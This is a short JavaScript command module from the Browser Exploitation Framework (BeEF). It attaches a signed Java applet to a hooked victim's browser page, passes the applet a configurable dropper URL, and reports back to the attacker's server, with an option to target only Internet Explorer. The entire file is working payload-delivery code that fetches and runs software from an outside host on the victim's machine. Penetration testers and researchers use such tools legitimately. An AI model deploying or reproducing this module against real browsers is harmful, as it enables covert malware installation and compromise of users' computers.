//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

    var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/applet/SignedApplet.jar';
    var applet_name = '<%= @applet_name %>';
    var dropper_url = '<%= @dropper_url %>';
    var ie_only = '<%= @ie_only %>';

    function attach(){
       beef.dom.attachApplet('signed_applet', applet_name, 'SignedApplet.class',
         null, applet_archive, [{'url':dropper_url}]);

        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Applet added to the DOM.');
    }

    if(ie_only == "on"){
       if(beef.browser.isIE()){
         attach();
       }
    }else{
       attach();
    }
});
